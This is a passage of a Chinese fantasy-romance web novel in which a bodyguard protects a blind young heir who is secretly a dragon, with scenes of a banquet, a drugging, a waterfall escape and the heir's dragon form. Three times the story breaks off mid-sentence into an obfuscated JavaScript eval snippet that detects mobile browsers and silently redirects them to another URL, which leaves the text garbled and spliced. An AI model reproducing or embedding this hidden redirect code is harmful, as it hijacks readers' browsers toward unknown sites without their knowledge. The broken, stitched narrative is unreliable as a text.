直到走廊上的滚轮声和脚步声彻底消失,两人等了一会儿才从暗门后走了出来。 回到房间,蒋胜宇脸都白了。 他坐在地铺上,光着膀子处理了伤口,刚缓过来就对着床边的迟郁开口:“迟哥,你说,元家少爷刚刚发没发现我们啊?” 迟郁没有回答,他满脑子都是元起在月光下专注的模样,还有他抓着扶手小声抗议“不想听那个故事”时眼底的执着。 他开始好奇,元起从小到大听的是什么睡前故事,能让他紧张成那样。 胳膊被搡了搡,迟郁回神,蒋胜宇正一言难尽地看着他。 “迟哥,你还记得吧?” 迟郁拧眉:“什么?” 蒋胜宇举起那根裹成大馒头的手指,语重心长:“干我们这行的,最忌讳爱上客人!” 下一秒,就被迟郁一肘击干趴了下去。 天空已经泛了鱼肚白,迟郁关了灯枕臂躺了下去。 安静了一会儿,蒋胜宇小声开口:“迟哥,我认真的,这地方怪事太多了,要不是亲眼所见,谁会信世界上真有龙啊。” “那小少爷人倒是挺好的。”他嘶了一声,“我怎么感觉,他今晚是故意给我们打掩护呢。而且,他还长那么好看。万一你对他产生感情了,到时候收网可不好受。” 迟郁深吸一口气。 蒋胜宇当即补充:“我倒不是说他也一定有问题,就是提前……” “小蒋。” 迟郁打断他的话。 “啊?” “地上睡不着的话,可以去后山睡。” 蒋胜宇:“……” 第二天上午,蒋胜宇收拾了东西告别离开,迟郁送他到大门口,他还在元宝的注视下尽情挥手演戏。 “我下回再来看你啊表弟,给你带家养的土鸡蛋!好吃吧弟弟。” 他对着元宝弹舌挤了挤眼睛,元宝脸登时红了。 迟郁捏着拳头咬牙:“再提你那破鸡蛋,我回头把你鸡窝端了。” 蒋胜宇骇然后退:“使不得啊,那可是我精心培养的瞭望鸡,为OTBH做出过杰出贡献的。年会它们几个得单独坐一桌。” 迟郁冷笑:“是可以单独上一桌。” 蒋胜宇:“……” 大厅里碰到了刚做完检查的元起。 他似乎也没有休息好,漂亮空洞的眼下有淡淡的青色,皮肤比平时还要苍白,显得那青色更加明显。 庄管家心情很不错。 他拎着一件纯手工的靛蓝色西装外套过来,帮元起穿上,眉眼柔和地帮他扣扣子。 “少爷,今天季禹少爷回国,你们两个有几年没见,肯定有很多话说。” 靛蓝色的西服包裹得元起劲瘦挺拔,将他本就白皙清隽的面庞衬得更加出尘。 庄管家满意看着,抬手想帮他整理一下发型,被元起偏头躲开了。 “我看不见,又有什么用呢。” 庄克嘴角眉梢的笑意一滞,掩唇咳了下,站直了身子。 “您这说的哪里话,季禹少爷听到,该伤心了。” 恰好迟郁靠了过来。 “少爷等会儿要去趟圣菲庄园,你准备一下,陪少爷去一趟。” 庄克说完,扫到迟郁一身运动装皱了眉。 “记得换一套正式的着装。” 圣菲庄园位于森焱市西郊的富人区。 也是元起名下的产业。 劳斯莱斯开进庄园大门的时候,迟郁盯着门洞上狰狞的蛇头标志皱起了眉。 庄园绿化很好,入口处有一座很大的喷泉,周围九条蛇环绕,中间一条巨大的龙形雕像,喷出的水润泽着这些蛇头。 “少爷,到了。” 司机下车从后座取出轮椅在他门口放稳。 元起的手刚摸索到门框的位置,就被迟郁打横抱了起来。 他几乎是下意识的挣扎。 “少爷,门口好多人看着呢。” 低沉的声音带着笑意落在耳边。 他总不能,狼狈地摸索着坐到轮椅上。 元起停了挣扎,拳头虚虚搭在男人结实有劲的肩膀,被他稳当的放在轮椅上。 元起坐的十分挺拔,修长白皙的手交握在身前。 迟郁倾身帮他理了理弄皱的衣摆,推着他穿过红毯。 大厅里衣香鬓影,每个人盛装打扮,三两聚集寒暄,空气中飘着高级的香氛,混合着甜品和香槟的香气。 见元起过来,所有人几乎都停下手头的事,侧身行注目礼。 “元少爷,好久没见您了。” “少爷好!” “元少爷,您看起来气色不错。” 睁眼说瞎话。 迟郁唇角的讥诮险些收不住。 跟这些人相比,轮椅上的元起是真正高高在上不食人间烟火的做派。 他似乎习惯了这些目光和注视,即便看不见,那双漆黑的眼底闲闲落在前方,仍有叫人不敢直视的压迫感。 尤其是,他身后跟了个身形挺拔,冷沉着脸,一看就不好惹的保镖。 面前突然投下一道阴影。 元起缓缓抬头,嗅到一股熟悉的味道,眉间轻轻蹙起。 迟郁也看了过去。 对面男人穿着张扬的白色西装,内里是粉色衬衫,蓝紫色领带,五官立挺,身高和迟郁相仿,金色的头发上半部分扎起,露出光洁饱满的额头,长及腰背的头发如缎一样铺在背后。 他手里闲闲捏着一杯香槟,金黄色的眼瞳直勾勾盯着元起失了光泽的瞳孔,嘴角牵出一抹笑。 “阿起,好久不见。” 元起终于开了口,清冽的声音如珠落玉盘:“你不该这么叫我。” 元季禹挑了挑眉,轻笑了:“怎么,长大了,反而生分了。” “阿起,你知道的,能跟你试试的,只有我了。长老会可是对我们寄予了厚望。” 他说着,微微倾身,手轻抚向元起的手。 才触及中指的指节,就被他不动声色地躲开了。 元起坐得更直,面上的嫌弃丝毫不加掩饰。 元季禹收起脸上的漫懒,将香槟杯放在侍应的托盘上,这才注意到他身后的迟郁。 那双金色的眼眸如蛇瞳般,上上下下将迟郁打量了个遍,若有所思地抱起手臂。 “他……” 他轻轻嗤笑一声:“你现在,身边竟肯留这样的人了。” 元起沉着脸:“与你无关。” “你的事,总归跟我有关。”元季禹冲着迟郁挑眉,“可以请你回避一下吗,我们要单独呆一会。” 迟郁没作任何反应,看狗一样看着他。 元季禹蹙起了眉,很快又轻笑开:“阿起,长老会的人还在等我们。” 元起这才转头向迟郁。 “你先自己逛逛。我等下就出来。” 觉察到身后的阴影不动,元起放轻了声音:“放心,有事会叫你。” 他动了动手腕,乖乖露出特制紧急呼唤保镖的手环,另一个在迟郁手上。 迟郁这才有了反应,他连个眼神都没有给对面,径直向外走去。 圣菲庄园是纯粹的欧式庄园,城堡一般的布局,迷宫一样的花园。 迟郁照旧在隐蔽处丢了几个探测仪。 逛了大半圈,一路上,各种醒目的建筑上几乎都有那个蛇头标识,迟郁拍了几张照发给徐舟客。 [森蚺队迟郁:查查这个标识,是不是和鸣蛇有关系。] [联络员徐舟客:收到。] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325687|167602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元起跟着元季禹进了内厅。 迎面飘来的龙涎香混合着沉檀香的香气让人胸口滞闷。 元季禹的手撑上轮椅后背的扶手,缓缓推着他向前,站定。 “来了。” 对面传来一道老态龙钟的声音。 “你的腿和眼睛……好些了吗?” “老样子。”元起目光落在前方,“医生说,只能等它自己代谢,或者研发出特效药。” “代谢的话,需要多久。” 另一道沙哑的声音。 “三到五年。” “什么?!我们没时间了!” 前一道沧桑的声音带着暴怒响起,他手中红色的珊瑚手杖嗑在地上,一瞬间,在场的所有人耳内一阵嗡鸣。 他一步一步走过来,黑袍下犹如老树皮包着枯枝干的手托起元起的手,不容他反抗,落在自己沧桑的头顶。 元起摸到那干涸的皮肤上,冒着一只畸形的萎缩的角。 他惊讶地半张着嘴。 “薛长老,你……” 那双手颤巍巍地松开了他。 “少爷,我们这些老东西,死了倒也无所谓,但是像这样不人不鬼的活着,实在是……” 元问薛沉沉叹了口气。 “族里的小辈也相继出现了症状。少爷,你是龙族最后一条纯种龙,只有你可以救我们了。” “我……” 元起死死捏着自己的手指,低垂下了头。 “起少爷,季禹少爷和你自幼一起长大,一表人才,是元氏一族最能配得上你的人了。你们二人结合,还能救我们所有人,这不是皆大欢喜吗?” 元起蹙着眉,沉默不语。 元问薛磕了嗑拐杖:“不行。季禹身上有一半人类的血统,必须是元少爷一人诞下龙蛋孕育出的龙子才可以。” 一道细小的质疑声响了起来。 “可是……喜欢一个人就会为他生蛋,本就是传说而已,谁见过啊?” “我见过。” 是一道更为苍凉得好似古寺钟声的声音。 珠帘被掀开,那人拖着长长的喘息,缓缓滑行出来,在地毯上蹭出让人头皮发麻的声音。 那是一位玉簪盘着头发的老太太,她上半身穿着月白色盘扣装,深蓝的裙摆下拖着长长的蛇尾一般的尾巴,上面的鳞片斑驳脱落了许多,皮肉泛着黑斑。 “我亲眼看着上任家主诞下龙蛋,尔后被人设陷阱围剿致死。元少爷,是我们花费二十年孕育出来的家主最后一条血脉了。” 元起手死死攥成拳,几不可查地颤抖起来。 屋内接连几声沉沉的叹息。 元问薛再度开了口。 “季禹要在这边待多久?” “三个月。” “这段时间,多去元家老宅和少爷走动。为了龙族的未来,哪怕是一线生机,我们都不能放过。” “好。” 元起紧抿着唇,想到指尖触到的东西,连提出反对的力气都失去了。 元季禹挥手,四个少女端了托盘进来,上面放着白玉杯,里面是澄澈的液体。 “今天难得见到各位长老,我和元起在这边敬大家一杯,希望我们早日有好结果,也祝龙族早日复兴。” 几人持杯高举。 元起的手中也被塞进杯子。 元季禹附身在他耳边。 “应付一下长老会的说辞,不介意吧?” 元起偏头躲了躲,没有说话,跟着众人举杯,然后一饮而尽。 元季禹看着他喝下,连同自己那个杯子放回托盘上,唇角扬起一抹笑。 后山有一个巨大的瀑布,湍急的水流自上落下,拍出巨响,急急向远处奔去。 迟郁站在岸边倚着枯树,水声把周围的一切声响都切断了。 他给自己点上了一支烟。 自从接下这个任务,这还是他第一次抽烟。 迟郁烟瘾不算重,平常的任务也没什么能够难住他的,今天不知道为什么,和那个别扭的小少爷分开后,即便是任务途中,脑海里也时不时浮现出他的身影。 尤其是那双眼睛。 想到就心口发烫,烦躁难捱。 口袋里的通讯器震了震。 迟郁吞吐出一口白色的烟雾,那烟雾一路向上弥散,和眼前瀑布倒挂的场景背道而驰。 消息来自徐舟客。 [联络员徐舟客:迟哥,我们多方查证了那个标识,你猜的没错,它和鸣蛇实验室大有关系。三个月前,我们追查那起特殊实验事件的时候,现场也发现了残缺的标识,复原出来的话,就是这个。] [联络员徐舟客:你在哪里发现的啊?元家?] [森蚺队迟郁:圣菲庄园。跟元家也有关系,你查查吧。] 手腕上的手环剧烈震动起来,上面显出一个哭的卡通表情来。 迟郁吐掉口中的烟,按了接通键。 “迟郁……” 对面传来元起虚弱急喘的声音。 他说。 “救我……” 8. 山洞 通话在下一秒被掐断。 迟郁瞬间皱了眉,向身后的大楼奔去。 宴会已近尾声,门口的豪车排了长队,宾客们相携着走出大厅。 迟郁在人群中拔群的高,他肃着脸,逆着人流狂奔。 不少人向他投来探寻甚至鄙夷的目光,迟郁恍若未见,一直跑到和元起分开的地方。 大厅里有十几道不同的门。 迟郁攥着拳扫了一圈,扯住了路过的拎着托盘的少女。 少女明显被他吓了一跳:“你,客人……你这是做什么……” 迟郁的大掌死死嵌着她的肩膀,冷声问:“元起在哪?!” “元少爷……我不清楚……啊!” 迟郁倏地抽出腰后的匕首,贴在少女姣好的脸颊。 周围发出惊呼声。 “这把刀刀刃是纳米材料,削你半个脑袋不成问题。你身上有他的气息,给你三秒,不说的话……” 那刀刃近乎要破开纤薄的皮肤。 少女抖着手,指了指二楼左侧一道长廊。 迟郁挑眉瞥一眼,反手将少女劈晕过去。 迟郁只用了三秒就翻上了二楼。 穿过那道长廊,尽头一道白色烫金花纹的门前守着两个保镖。 门口,放着元起的轮椅。 两个保镖锐利的视线望着他靠近,威胁驱赶:“这里生人勿近,赶紧……” 话没说完,那人就发不出一点声音,血缓缓从他脖颈上那条红色的丝线渗出,尔后像是泉眼一样汩汩流出,迟郁收刀,右手收回手电筒形状的电.击枪,另一边的保镖抽搐着倒地。 迟郁理了理衣领,一脚踹开了房门。 那道房门直接飞了出去,落在大理石地板上,发出巨响。 惊动了床上的人,也惊动了楼下的守卫,一时间四处都是脚步声和调动声。 迟郁收回腿。 和元季禹对上。 元季禹已经脱掉了白色的西装外套,领带也解了。 他正俯身像是蛇吐信子般,指节一遍遍抚过元起的脸颊。 见迟郁杀进来,他终于直起身子,似乎被挑起了兴趣,歪头耸了耸肩。 “可以,很护主。但你护得可不是时候。” 迟郁根本不在意他说的什么,他望着挡在面前的元季禹:“滚开。” 元季禹点头,抱着手臂让开了,还伸掌指了指床上的人,一副“请自便”的样子。 迟郁径直走到床边。 元起意识已经有些涣散,少年的脸颊泛着异样的红,嘴唇微张着,像是干涸的鱼,胸膛起伏着喘息。 迟郁抬手想探一下,他还在本能地推拒,碰到手才发现是迟郁,又像抓救命稻草一样抓紧了。 “迟郁……我好难受。” 他吸了吸鼻子,声音泛着委屈。 “带我走……” 他的手烫的吓人。 迟郁倾身揽起他的腰背将少年抱起。 元起的脸搭在迟郁颈间,呼出的气息滚烫逼人。 迟郁瞬间拧紧眉。 身后是整肃急促的脚步声,元季禹嗤笑一声。 迟郁像抱孩子一样让元起坐在他臂膀上,另一手箍着他的后背,回过头,和涌进来的黑压压的保镖对上。 元季禹那道粉色的身影格外突出。 他勾唇笑着,气定神闲的样子。 早料定他走不出去。 “放弃吧,我尊重你的敬业,给你一条生路。但是,元起有他自己的使命,总逃避也不是办法。” “对吧,阿起?” 怀里的元起瑟缩了一下,揽着迟郁脖颈手缓缓收紧。 迟郁拍了拍他的后背,余光望一眼窗外奔涌而下的瀑布。 他轻声开口。 “少爷。抱紧我。” 元起听话得将他的脖颈圈得更紧。 元季禹最先意识到他想做什么。 他脸上第一次出现方寸大乱的神情。 迟郁轻轻勾唇,空出的一只手抛出一块小小的银色圆盘,抛完的瞬间对着元季禹竖了个中指。 尔后揽进元起向后腾跃。 巨大的窗玻璃连同窗框被撞破,两个紧紧揽着的人飞了出去,向下自由落体。 迟郁护着元起的头,二楼的房间骤然发出一声爆炸声,橘红色的火光自窗户处迸出来。 下一秒,直直坠入了水中。 水声一下子隔绝了巨大的瀑布声响,湍急的水流冲刷着两人向前去。 迟郁憋着气,闭着眼睛将元起死死圈在怀里。 许久,水流渐缓下来,饶是迟郁的身体素质都有些脱力。 他浮出水面换了气,两人已经飘出庄园很远,四周是十分原生态的山景,天色也暗了下来。 山里夜间极冷,迟郁拖着元起上岸,将他抗在肩上,找了个山洞避寒。 才生起篝火,远处就传来野兽的嚎叫。 迟郁光着膀子挑了挑火堆,细碎的火星子升腾而起。 树枝搭的架子上搭着他和元起的湿衣服,经火烘烤湿气弥漫出来。 元起睡在迟郁找的干草堆里。 他已经尽力揉碎了,但元起白皙的皮肤上还是被戳出不少红痕。 真是娇气。 迟郁把烤鱼翻了个面。 下意识看向草堆里的少年,视线却骤然定格了。 篝火在元起的脸上照出跃动的暖意,少年枕着自己的手睡得乖巧,脸颊上闪现着银白色的鳞片,头上生出一对白色的分了双叉的角。 他睫毛和头发全白了,似乎觉得不舒服,少年微微撅了撅唇,哼哼唧唧着,骤然释放出自己的大尾巴和本体。 巨大的龙身一下子将狭小的山洞占据大半。 白色的龙头微微合着眼睛,发出舒服的吐息,一圈一圈盘起来,尾巴不听话,小龙前爪摸索着终于抓到尾巴梢,用力往怀里揽,动作不小,将篝火堆和烤鱼搅乱,目睹了全过程的迟郁也被卷了进去。 龙爪将尾巴尖递到下巴下枕着,元起发出舒服可爱的低呼,安详睡去。 迟郁举着半生不熟的鱼,被龙卷在怀里,有几秒认真地想自己是不是已经死了。 不然世界上怎么还真有这种怪事。 龙。 他的雇主,是一条龙。 迟郁轻轻嗤笑一声,手轻轻地,抚上面前的龙鳞。 坚硬如盔甲,泛着滚烫热意。 迟郁又抚向那对龙角。 像是部落里误捕到的幼鹿,头顶的角没有完全角化,带着细碎的绒毛。 相比地下室那具硕大的骨架,元起还是条宝宝龙。 似乎被他摸出痒意,龙皱眉甩了甩头,树杈上的鱼终于被抖了下去。 小龙倏地睁开大眼睛,幽深的红,像是宝石。带着龙须的鼻子凑近嗅了又嗅,确认是迟郁作祟,蹭了蹭他,委屈地呜咽着,又趴了回去。 迟郁望着自己胸肌上小龙鼻尖蹭上的大片湿意,蓦地笑了。 山间的清晨随处可闻鸟叫声。 元起是被饿醒的。 周围全是陌生的气息,他吸了口气,闻到了烤鱼的香气,缓缓动了动有些发麻的手臂,皮肤蹭过粗糙的干草堆,元起意识到自己全身赤条条的,什么也没穿。 他蓦地睁开眼睛。 身上只盖了一个宽大的西装外套。 肚子不合时宜地咕咕叫了两声。 那道烤鱼的香气忽然凑近了,迟郁道:“醒了?吃烤鱼吗?” 元起声音还带着晨起的迷蒙:“我的衣服呢。” “湿透了,忘了吗少爷?我们是被瀑布冲到这儿来的。” 元起的拳头微微攥紧:“那你也不能把我衣服全脱掉……” “嗯?”迟郁咬了一大口鱼,望着他,蓦地道,“你头上怎么有角?” 元起顿时慌了,瑟缩着抬手去遮,额头瞬间沁出薄汗。 手心触及的只有光洁的额头和碎发柔软的触感。 少年愣了一下,后觉迟郁在作弄他,缓缓垂下手,耳根红了。 好半晌,他在迟郁吃鱼的声音中小声开口:“你、你都知道了?” “嗯。”迟郁拉长调,把架上的另一条鱼也翻了个面。 “所以,昨晚我……现形了,是吗……” 元起垂着的手轻轻掩着他半张脸,问得艰难。 又是一声“嗯”。 元起轻咬起嘴唇。 “对不起……” 迟郁挑眉,有些好笑:“什么?” 少年攥着拳。 “衣服是我自己化形时候掉的,我错怪你了。” “哦,”迟郁说话间带了轻笑,“那倒没有,你的衣服确实是我脱的。” 元起的眼睛蓦地睁大:“你……” 面前被抛过来个东西。 湿滑有力的尾巴在脸上拍出一道红痕,元起猛地坐了起来,抓住险些滑下的外套,后觉迟郁给他丢了条活鱼。 “烤鱼不吃,我以为你们龙得吃活鱼呢。”男人话里带着顽劣的笑。 “你!”元起一脸羞愤,抬手指他,瞬间露出大片白皙的肩背和腰腹。不得已又缩了回去,像个被惹恼了就毛绒绒的小宠物。 迟郁突然想到昨天被大脑袋蹭翻的一幕。 他抬手扯过架上早已烘干的衣服,丢了过去。 元起瞬间被衣服盖了一脑袋。 笨拙地抬手扒拉。 “自己穿,穿好把鱼吃了,送你回去。” 说完,迟郁走出了山洞。 洞下是缓缓流淌的清澈的河,河两岸生长着葱绿的草和茂盛的树。 迟郁几口解决完烤鱼,抱着臂望着远处,陷入沉思。 迟郁向来不信怪力乱神。 即便是在部落里被老爹带大,对于祭祀之类的事,他向来嗤之以鼻。 他只信实力至上。 直到迟年翁被别人胁迫着去猎“大货”,再也没回来。 那块黑色的鳞片,他找族长看了,至少在他的认知里,没见过这样的动物。 迟郁又想到元家地下室满墙的鳞片和巨骨,后山山洞里那条放走他的龙,还有昨晚元起身上的鳞片的触感。 会是龙吗? 迟郁想起自己在小摊上用一匣子弹清空了墙上的气球换取钱财食物,被人尾随了一路。 迟郁在某个转角掏出匕首抵上了那人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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迟郁顺从地没有接听,耐着性子问:“为什么?知道你是龙,会被灭口吗?你之前的保镖被灭口过?” 元起有些慌了神:“不是……你是我的第一个保镖。” 迟郁死死盯着他:“什么不是?是不会被灭口,还是之前被灭口的不是保镖?” 元起沉默下来。 迟郁忽然问:“这里除了你我,还有别人吗?” 元起茫然环顾四周,乖乖摇了摇头。 “所以,”迟郁轻轻捏着他的下巴,粗糙的拇指抹去那白皙皮肤上粘的灰尘,“你不说,我不说,别人怎么会知道我见过?” 迟郁笑道:“撒谎,不会吗?” 手机铃声终于停止。 元起愣了一秒,霎时间睁大那双漂亮的眼睛。 他似乎从不知道……人还可以卑劣至此。 迟郁松开了他,嗓音含笑且认真:“我需要这份工作,而你需要我,成交吗?少爷。” 元起红了脸,偏开头:“我才不需要你……” 下一秒,身体腾空,元起惊呼一声,本能圈揽迟郁的脖颈。 迟郁把他抱在怀里掂了掂,另一手拎起自己的外套,看了一眼他全身依赖的模样,挑了挑眉。 “你的身体好像不这么想,小少爷。” 回到元宅的时候,庄克和元宝带着新轮椅等在大门口。 见迟郁抱着元起吊儿郎当的晃过来,庄管家先是松了口气,尔后望着两人皱缩的衣服,蹙起了眉。 他警觉地看着迟郁:“你带少爷去了哪里?对他做了什么?” 迟郁缓缓把元起放到轮椅上,头都没抬:“我救了少爷一命,又把他好好的带回来了。” 庄管家没想到他一副无赖样。 脸上登时怒意昭彰:“你救什么?你把圣菲庄园搅得鸡飞狗跳,还把季禹少爷的耳朵炸伤了!” “庄管家。” 元起坐到轮椅上,又恢复了那副矜贵的模样,他微微偏头,漂亮的眉头皱了起来。 “元季禹……他给我下药。” 前一刻还满脸愤然的庄克怔住了。 迟郁已经推着元起向别墅内走去。 夜间又下起了雷阵雨。 闪电将卧室照了个透亮。 暗下去的瞬间,滚滚惊雷和后山山洞里的嘶吼声几乎是同时响起。 迟郁困意全无,他抽出床下的箱子,拎了几件装备,径直冲进了雨里。 桥廊断裂处已经被修好,迟郁很顺利来到洞口。 洞内弥漫着沉沉喘息呜咽。 迟郁一把拨开洞口丛生的杂草,下一秒,又被巨大的尾巴卷进洞内。 迟郁提前拔出了匕首,和那双巨大的金色的眼球相对的时候,刀锋也对准了瞳孔。 巨龙凶悍的眼神一愣,瞬间清澈了。 迟郁轻轻勾了勾唇,另一手掏出一条口香糖,向上抛了一下,尔后稳稳回落至掌心。 那双巨大的金色瞳孔像是流转的星球,跟着升起,尔后落下。 再度对视,迟郁运筹帷幄地捏着口香糖晃了晃,对着金色的龙开了口。 “元宝。” 9. 软肋 小龙一愣,硕大的身体瑟缩了一下。 迟郁拨开包装纸,径直抛了起来,小金龙张嘴接住。 “就知道是你。” 迟郁勾唇笑了。 龙形实在太过硕大,一包口香糖全炫进去,也只够浅浅闻个味道。 元宝贪恋地吞咽了一下,尾巴的力道缓缓松开。 迟郁的视线落在龙的脖颈之上,那里的伤疤已经开始愈合,只是鳞片被刀划成两片,定型成了难看的模样。 外面又一阵滚滚雷声。 小金龙硕大的脑袋震颤了几下,难捱地爆发出几声嘶吼,身上的鳞片全都炸了起来,缝隙里弥漫着腥臭血气。 吼声在洞中回响,雷声停下才得以缓解。巨大的金色眼睛怯怯地看了一眼迟郁,尔后向洞中缩去。 迟郁侧目望向外面冲刷而下的大雨。 想起某人的话,自语道。 “雷雨天总会这样吗……” 他回头问。 “要我陪你会儿吗?” 小龙摇头。 迟郁轻笑。 “不是害怕雷声?” 元宝又摇头。 行吧。 迟郁耸肩,转身向洞外走去。 翻窗回了房间,又一道闪电亮起,迟郁擦着发顶的手一顿,视线望向地中央的轮椅。 迟郁扯了扯嘴角。 “少爷,怎么在这?” 元起穿着浅灰色V领居家服,是睡前他给他换上的,少年额头和白皙的胸膛泛着一层薄汗。 他死死抓着轮椅扶手,眼底乍泄紧张:“你去哪了?” “少爷,”迟郁望着他,嗤笑,“晚上的时间好像是我自己的吧,我去哪里,不需要像你报备。” 元起的脸色瞬间苍白。 他低垂下眉眼,半晌没说话。 迟郁继续胡乱的擦着头发走到衣柜前。 无视地中央的少年,他单手伸到厚实的腹肌下,头一偏扯掉湿透的T恤,裤子拉链声响起的时候,身后的人终于又开了口。 “我还没走……”元起说。 “你又看不见。”迟郁轻笑,终于回头看他,“再说了,都是男人怕什么。” 元起抿着唇,又不说话了。 迟郁换完衣服才想起什么,他抱着臂,眉头轻挑:“哦,忘了,你们龙是不是没有这个讲究。” 元起空洞的大眼睛受伤地瞪着他,眉间轻轻蹙起。他没发一言,按动轮椅向外走去。 眼看着要撞上床尾的铁架,被迟郁一把按住了。 迟郁深吸一口气,后觉自己玩笑开过了。 道歉不是他的风格。 迟郁有些烦躁地耙了耙湿发。 “怎么这个点来我房间了?” 他望着少年倔强委屈的侧脸,猜测:“害怕打雷?” 雷声和闪电骤然照亮少年清冷的脸庞,迟郁后知后觉:“……担心我?” 心脏蓦地酸涩,迟郁轻笑,大掌落到他头上揉了揉。 元起登时像炸了毛的猫,瞪大眼睛拂开他的手,胸膛急促的起伏了几下。 “谁会担心你!” 他说,“是……你今天的故事没有讲完,你没有完成你的工作。” 迟郁勾唇:“明明是你听睡着了,少爷。” “我没有……” “行,没有,”迟郁推着他回房,“那走吧,你继续睡,我继续讲。” 第二天上午,陪元起做完复健,迟郁径直到了副楼。 元宝正在玩抛爆米花然后用嘴巴接住的游戏,自己和自己玩的不亦乐乎。 骤然瞥到倚着门的迟郁,他呛了一下,趴在桌子上装死。 迟郁晃着走到他身边,对着他后脑勺弹了个脑瓜崩。 元宝登时弹跳了一下,捂着后脑勺龇牙咧嘴好不委屈。 “迟哥,要被你开瓢了!” “龙的脑袋,哪那么容易开瓢。” 元宝险些跳起来捂他嘴。他手指竖在唇前鬼鬼祟祟东张西望半天,凑近了小声问。 “迟哥,你也见过少爷的龙形了吗?” 迟郁轻挑眉峰,一副了悟的表情:“哦,原来少爷也是龙啊。” 元宝愣了一秒,倏地捂住自己的唇,圆润的娃娃脸都憋红了,一副犯了大错的样子。 迟郁拖过椅子拍了拍他的头,反着坐他对面,撑着椅背。 “逗你的。” 元宝一下放下心来,嘟嘟囔囔地抱怨:“迟哥,你也太坏了。” “我本来就不是什么好人。”迟郁抬了抬下巴,指向那个与众不同的龙形浮雕,“跟我说说那个浮雕的事吧。” 元宝愣了一下:“迟哥,你怎么对这个感兴趣。” “上次那个玻璃,是你撞碎的吧?你们龙族一到雷雨天就会化形吗?” 迟郁没回答,顺着把话题带过去。 元宝点了点头,又摇摇头:“我十二岁以后就会这样了。但是少爷不会,少爷是纯种龙。” “纯种?”迟郁拧眉,“龙还有混血?” “当然有。我爸爸是龙,妈妈和你一样,是人类。” 迟郁有些了然:“所以,少爷是龙和龙生的。” 元宝咬唇沉默了一下。 “不是,纯种龙是……这个不能告诉你,这是事关龙族复兴的秘密。” 见他神神秘秘的,迟郁也不强求。 他又问了一遍:“那个龙形浮雕怎么回事?” “十二生肖,其他十一种都是世界上真实存在的动物,怎么可能只有龙是虚构的。”元宝的视线扫过墙上的十二生肖,定格在光秃秃的龙形浮雕上,神情严肃。 “我爸说,我们龙族被诅咒了,不能在世人面前出现,即便和人类生下的后代,也会出现返祖的现象。好点的只在雷雨夜化形,熬过去就好。还有些,平常就是不人不龙的怪物模样。” “美人鱼的传说听过吧?那是不小心被目击的,无法维持人形的我们的族人。” “至于这个浮雕,”元宝看着迟郁歪了歪头,“我也不清楚具体的原理和作用,它在雷雨夜的时候就会和其他浮雕一样变得完整,也许是因为雷雨夜龙会化形,变得世俗意义的存在了,所以终于完整了?” 他也是猜测。 迟郁沉吟了一会儿,问出最后一个问题。 “有没有龙是终生生活在水里,不会化人形也不会说话?” 元宝很认真地看着他,摇了摇头。 “不会的。龙族已经上岸很多年了,如果不是因为这个诅咒会化龙形……我们会像人类一样平凡地生活繁衍下去。这也是几任家主努力的成果。” “人类好奇怪,明明崇拜龙,却又畏惧龙的存在。” 迟郁心情复杂地回了主楼。 照顾元起泡澡的时候,他的中指忽然抵上了少年尾椎骨上方的腰线。 元起一激,整个身体僵直了。 “迟郁!你……” 那只手继续作祟,沿着他明显的脊椎纹路攀爬向上,一直到肩胛骨下的位置才停住。 元起皮肤滑腻,是他带着厚茧的指尖触过最柔软的东西。 迟郁忽然问:“少爷,龙的鳞片坚不可摧,那化成人形的时候呢?也坚不可摧吗?” 元起声音有些紧绷:“不是。如果不能在危险来临的瞬间化龙保护自己,这具身体和普通人类一样脆弱。” 身后的男人嗤笑一声,骨节分明的大掌灵活攀爬上来绕过少年纤长白皙的脖颈,遏住他的咽喉,食指的骨节稍稍用力,迫使元起下巴抬起。 “少爷,我这算不算,发现了龙的软肋?” “算。” 一句玩笑,元起答得十分认真。 后背的手指终于远离。 元起白皙劲瘦的手臂撑了一下水,转过身来,和迟郁面对面。 他看不见,但还是努力望着他脸的方向。 “迟郁,你会伤害我吗?” 迟郁半晌没回答。 元起清隽的眉间越蹙越深。 下一秒,少年的脸颊突然被掐住了。 迟郁手劲不小,少年的脸蛋被挤变形,白皙的皮肤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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元起毫不留情:“庄管家,送客。我不想看到这个人。” 庄管家有些为难:“这……” 元起身姿挺拔,带着不容置喙的气场。 “我告诉过你,在圣菲庄园,他给我下药的事。我不想再看见他。” 元季禹嘴角的笑意一滞。 庄管家一边眼神示意元季禹,一边把花接走,开口圆场:“少爷,季禹少爷这次是专程向你赔礼道歉的,圣菲庄园的事,是他操之过急……但他也是为了我们大家好啊。” 元季禹很快接上。 “对,阿起,对不起,我承认是我太心急了。那天给你喝的东西只是舒缓神经的,实验室新研发的,也许对你的腿和眼睛有帮助。” 元起的眼底的神色有些微松动。 元季禹接着道歉,五官深邃的脸上诚意尽显:“抱歉,没有事先告诉你,差点害你受伤。” 看元起听得进,庄管家使眼色喊迟郁一起出去。 迟郁却恍若未见,高大的身影抱着臂杵在轮椅旁。 不得已,庄克开了口。 “迟先生,复健结束了,你可以去休息了。” 元起却开口驳斥:“他留在这边。” 他显然并不放心元季禹。 庄管家诧异地看一眼迟郁。 “可是……” 元季禹按住他了肩膀,扫了迟郁一眼,笑道。 “阿起,要不,还是让你的保镖回避一下吧,有些事,还是不要让旁人知道的好。” 元季禹对着门外轻轻抬了抬手指,门口立刻进来两个穿着白大褂的人。 